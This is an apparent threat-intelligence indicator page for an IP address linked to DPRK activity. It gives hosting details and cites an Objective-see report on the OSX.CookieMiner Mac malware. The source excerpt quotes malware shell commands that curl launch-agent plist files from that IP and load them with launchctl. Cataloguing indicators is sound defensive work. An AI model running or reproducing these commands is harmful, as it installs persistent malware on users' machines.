`46.226.108.171`

46.226.108.171 is an IP address that one published source reports in connection with unclustered DPRK activity, which public reporting attributes to North Korea (DPRK). It is cited here from Objective-see. The report is dated 2020-01-01.

ip address DPRK (cluster unattributed) MATCHED IN SOURCE

First seen 2020-01-01 · last seen 2020-01-01

Network

Kind	data centre
Network	GANDI is an ICANN accredited registrar
Announced by	AS29169 GANDI SAS
Country	Luxembourg
Flags	hosting range

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Source

…the infection, via a shell script named `uploadminer.sh`: 1 ... 2 3 cd ~/Library/LaunchAgents 4 curl -o com.apple.rig2.plist http://46.226.108.171/com.apple.rig2.plist 5 curl -o com.proxy.initialize.plist http://46.226.108.171/com.proxy.initialize.plist 6 launchctl load -w…
The Mac Malware of 2019 — Objective-see · under “👾 OSX.CookieMiner” · published 2020-01-01 · pulled 2026-09-12

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: The Mac Malware of 2019

Objective-see lists 5 other indicators in this source.